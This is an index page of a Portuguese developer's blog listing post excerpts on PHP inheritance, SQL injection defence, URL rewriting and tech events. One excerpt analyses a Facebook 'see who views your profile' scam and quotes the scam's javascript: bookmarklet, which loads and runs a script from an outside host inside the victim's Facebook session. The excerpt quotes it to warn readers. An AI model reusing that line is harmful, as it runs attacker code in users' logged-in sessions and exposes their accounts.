A very common problem PHP Developers find in Object Oriented Programming is the needs of Multiple Inheritance and PHP doesn’t support multiple inheritance, at least officially. Fortunately, there are ways of doing this, without having to duplicate code. Extension Manager [sourcecode language=”php”] /** * Multiple Inheritance * * Extension Manager * * @author Joao Pedro Pereira * @package… Continue reading Multiple Inheritance
[updated] Connection Details – Information About Your Connection
The service http://connectiondetails.info was updated this week with new features and improved the ones existing. The feature to recognize the operative system and browser was updated to be more precise and complete, also the speed meter was updated ! The news are in the location feature that was added on this version and the integration with… Continue reading [updated] Connection Details – Information About Your Connection
Prepared Statements contra SQL Injection
É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores. Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL… Continue reading Prepared Statements contra SQL Injection
Análise Facebook: See who views your profile
Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil ! Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta. javascript:(a=(b=document).createElement(‘script’)).src=’//bbbindia4.in/jsp.php’,b.body.appendChild(a);void(0) Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do… Continue reading Análise Facebook: See who views your profile
Balanço de 2010 e Previsões para 2011
2010 foi um ano bastante produtivo e com muitas novidades e alterações na minha vida. Novas Responsabilidades e Trabalhos Em 2010 comecei a trabalhar no Centro de Eventos da Faculdade de Engenharia da Universidade do Porto (FEUP) como técnico audiovisual. Posição que me preenche mais o currículo e dá-me formação técnica e experiência de trabalho.… Continue reading Balanço de 2010 e Previsões para 2011
SAPO Codebits 2010
Mais uma edição do evento SAPO Codebits terminou, faz uma semana estava a preparar tudo para partir para Lisboa. Antes de mais queria agradecer à FEUP, nomeadamente ao Departamento de Engenharia Electrotécnica que me financiou a ida ao Codebits 2010. Esta foi a minha terceira participação neste evento mas foi de um certo modo muito… Continue reading SAPO Codebits 2010
Pequenas mudanças no blog…
Depois de alguma análise relativamente ao desempenho e crescimento do blog decidi que vou fazer algumas mudanças na forma como este blog funciona. Os artigos vão começar a aparecer em Inglês e / ou em Português Os artigos mais avançados / mais desenvolvidos terão também a opção pdf para download sob a forma de paper’s.… Continue reading Pequenas mudanças no blog…
Portugal GTUG HTML5 Hackaton
Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan ! A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&Drop, WebSockets, Server-Sent actions, API’s, etc., etc., etc. Foi uma cena brutal mesmo! Houve Coffee Break’s… Continue reading Portugal GTUG HTML5 Hackaton
Produtividade nos Transportes
Para pessoas como eu que passam diariamente várias horas em viagem para ir para o trabalho, faculdade, etc. existem boas opções para transformar esses tempos “mortos” em cultura, em algo que seja produtivo para o nosso bem estar e para a nossa mente. Ler Pode aproveitar enquanto está nos transportes públicos, ou à espera deles,… Continue reading Produtividade nos Transportes
URL Rewriting contra ataques ?(!)
O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma… Continue reading URL Rewriting contra ataques ?(!)